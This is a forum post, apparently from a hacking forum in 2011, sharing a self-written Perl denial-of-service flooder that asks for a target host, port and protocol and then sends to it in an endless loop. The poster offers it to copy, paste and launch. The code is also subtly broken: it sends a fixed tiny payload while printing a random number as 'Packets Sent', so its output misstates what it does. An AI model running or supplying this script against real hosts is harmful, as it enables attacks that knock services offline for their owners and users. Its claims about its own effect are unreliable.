perl DDOSer (simple) 12-03-2011, 10:39 AM
#1
this is a self coded simple DDOSer
u can copy and paste it and the launch it.^^
its really jus a simple DDOSer and is not as powerfull as a botnet.
Quote:#!/usr/bin/perl
#Coded by finalfreak
#This simple program is a flooder but it isn't as powerfull as you think. Not as Botnet.XD
use IO::Socket;
system ('cls');
system ('title DDOS');
print "\a
----------------------
::DoS by Finalfreak::::
----------------------
\n";
print "\nSo does it work, the programm asks u for the hostname or Ip. Adress and then after the port (normally 80), Then the protocol TCP or UDP, If u need both type in TCP,UDP . \n\n";
system ('PAUSE');
system ('cls');
print "\nHost:\a";
chomp ($host = <STDIN>);
system ('cls');
print "\nPort:\a";
chomp ($port = <STDIN>);
system ('cls');
print "\nProtokol (TCP oder. UDP):\a";
chomp ($proto = <STDIN>);
{
$sock = IO::Socket::INET->new(Proto=>"$proto", PeerAddr=>"$host", PeerPort=>"$port") || die "\nCould not connect to the remote machine. Either the machine is offline or the port is not in use on the selected protocol.\a";
}
Packets:
while (1) {
$size = rand() * 8921873 * 9991988;
print ("Flooding: $host:$port~$proto Packets Sent: $size\n");
send($sock, 0, $size)
}
u can copy and paste it and the launch it.^^
its really jus a simple DDOSer and is not as powerfull as a botnet.
we are so fame
photoshop fun and coding included
photoshop fun and coding included


DoS by Finalfreak::::![[+]](https://sinister.li/images/modern/collapse_collapsed.png)